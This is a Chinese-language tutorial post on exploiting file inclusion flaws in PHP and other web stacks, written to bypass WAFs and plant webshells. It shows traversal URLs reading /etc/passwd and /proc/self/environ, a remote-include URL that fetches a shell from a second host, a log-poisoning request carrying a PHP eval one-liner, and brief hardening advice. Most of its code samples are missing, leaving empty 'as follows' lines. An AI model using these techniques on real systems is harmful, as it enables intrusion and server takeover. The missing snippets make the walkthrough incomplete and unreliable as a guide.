檔案包含漏洞(繞過姿勢)
檔案包含漏洞是滲透測試過程中用得比較多的一個漏洞,主要用來繞過waf上傳木馬檔案。今日在逛Tools論壇時,發現了一種新型的檔案包含姿勢,在此記錄分享,並附上一些檔案包含漏洞的基礎利用姿勢。
特殊姿勢
利用phar://協議特性可以在滲透過程中幫我們繞過一些waf檢測,phar:// 資料流包裝器自 PHP 5.3.0 起開始有效,貌似可以繞過安全狗。
利用過程
新建shell.php程式碼內容:
新建test.txt裡的內容:
壓縮test.txt檔案,可以重新命名壓縮檔案為zip,phar,rar等格式,之後訪問shell.php檔案後,會出現phpinfo內容。
親測有效
在實驗環境下,在test目錄下新建shell.php,test.txt,並將test.txt打包成test.zip。
shell.php內容如下:
test.txt內容如下:
訪問shell.php:
參考:http://bbs.pediy.com/thread-216191.htm
php檔案包含漏洞
PHP中的檔案包含分為本地包含與遠端包含,導致檔案包含的函式如下:
- include()
- include_once()
- require()
- require_once()
- fopen()
- readfile()
……
本地包含漏洞(LFI)
新建一個phpinfo.txt,然後新建一個shell.php,寫入:
訪問shell.php會輸出phpinfo頁面內容,無論將副檔名改為什麼,都將以php程式碼執行。如果檔案不是符合php規則的(即沒有寫<?php ?>等),則通過include可以直接輸出原始碼。
遠端包含漏洞
前提:需要開啟allow_url_fopen,預設關閉。
新建php.txt:
新建index.php:
訪問http://www.xxxx.com/page=http://www.xxxx.com/php.txt執行結果將輸出hello world。
檔案包含利用
讀取敏感資訊
如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:
LINUX:
遠端包含shell
test.txt檔案,可以儲存在遠端伺服器上,內容如下:
如果目標網站存在遠端包含漏洞,則可以通過訪問:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt則會在伺服器根目錄下生產一個shell.php內容為:
本地包含配合檔案上傳
如果目標伺服器關閉了allow_url_fopen,則可以嘗試使用本地包含+檔案上傳
上傳一個圖片木馬a.jpg,內容為:
訪問URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。
本地包含配合apache日誌拿shell
apache日誌分為access.log與error.log,當我們請求一個url地址時,便會記錄在access.log中,但如果訪問一個不存在的頁面,便會將這個頁面寫入access.log中。如訪問URL:http://www.xxx.com/<?php eval([$_POST]);?>則會將一句話寫入到access.log中,但是一般來說,寫入到access.log檔案中的一句話是被編碼的,所以需要抓包繞過,而且利用此漏洞需要知道access.log的地址,不然便沒有。
利用/proc/self/environ進行包含
如:http://www.test.com/view.php?page=../../../../proc/self/environ
這是web程式執行時的環境變數,其中有些引數是可以被使用者控制的,最常見做法就是在User-Agent中插入一句話。
利用php協議進行包含
- data: php5.2以後版本
- php://input 需要開啟allow_url_include
poc:
截斷包含
有些開發者為了防止本地包含漏洞,會編寫一下程式碼:
(一)00截斷包含
新建1.jpg:
這樣的話比如上傳一個1.jpg圖片碼,則訪問http://www.xxx.com/1.jpg時,訪問的是1.jgp.php,以為沒有這個檔案所以報錯。這是,可以嘗試訪問http://www.xxx.com/1.jpg%00
(二)使用長目錄截斷
在windows下目錄最大長度為256位元組,linux下為4096位元組,其後面超出部分被丟棄。
檔案包含漏洞修復
開啟open_basedir函式,將其設定為指定目錄,則只有該目錄的檔案允許被訪問。
關閉allow_url_include函式,防止遠端檔案包含。
jsp檔案包含漏洞
include
jsp:include
採用JSTL
說明
(1)include指令在轉換時插入“Header.jsp”的原始碼,而標準動作在執行時插入“Header.jsp”的響應。元素允許你包含動態檔案和靜態,而include說明標籤僅僅是把一個檔案內容當成靜態追加到主檔案中去。
(2)採用前兩種方式,只能包含當前web應用的介面,不過c:import可以包含容器之外的內容。
asp檔案包含漏洞
asp貌似無法包含遠端檔案(iis安全設定),只能包含本地檔案,語法如下:
aspx檔案包含漏洞
aspx檔案包含與asp一樣,語法如下:
相關文章
- 檔案上傳漏洞(繞過姿勢)
- DVWA檔案包含全等級繞過方法
- 什麼是檔案包含漏洞?檔案包含漏洞分類!
- 文字檔案上傳漏洞[任意.繞過.解析]
- 檔案包含漏洞(本地包含配合檔案上傳)
- PHP檔案上傳漏洞原理以及防禦姿勢PHP
- 檔案上傳漏洞全面滲透姿勢總結
- 檔案包含漏洞小結
- Apache Tomcat檔案包含漏洞分析ApacheTomcat
- "白話"PHP檔案包含漏洞PHP
- PHP漏洞全解————10、PHP檔案包含漏洞PHP
- 實戰篇——檔案包含漏洞一
- TomcatAJP檔案包含漏洞及線上修復漏洞Tomcat
- [MRCTF2020]你傳你呢 1 (檔案上傳漏洞,利用.htaccess檔案繞過)TF2
- 24:WEB漏洞-檔案上傳之WAF繞過及安全修復Web
- XSS姿勢——檔案上傳XSS
- 【第九章】檔案包含漏洞
- PHP檔案包含漏洞(利用phpinfo)復現PHP
- 繞過 TPM 檢查,.reg檔案 .bat檔案BAT
- 【檔案上傳繞過】路徑拼接問題導致上傳漏洞
- PHP 檔案操作的各種姿勢PHP
- PHP本地檔案包含漏洞環境搭建與利用PHP
- RFI 巧用 WebDAV 繞過 URL 包含限制 GetshellWeb
- 什麼是檔案包含漏洞?會造成什麼危害?
- 檔案包含之包含了Linux檔案描述符Linux
- 網站漏洞檢測解析繞過上傳漏洞網站
- 棧溢位漏洞利用(繞過ASLR)
- 滲透測試對檔案包含漏洞網站檢測網站
- 檔案包含漏洞相關知識總結-千鋒教育
- 讀取ClassPath下resource檔案的正確姿勢
- 檔案包含2
- CTFer——檔案包含
- Shell 檔案包含
- 檔案上傳之後端黑白名單繞過後端
- PHP檔案包含 整理PHP
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析
- 【漏洞修復通知】修復Apache Shiro認證繞過漏洞Apache
- 檔案上傳之WAF繞過及相安全防護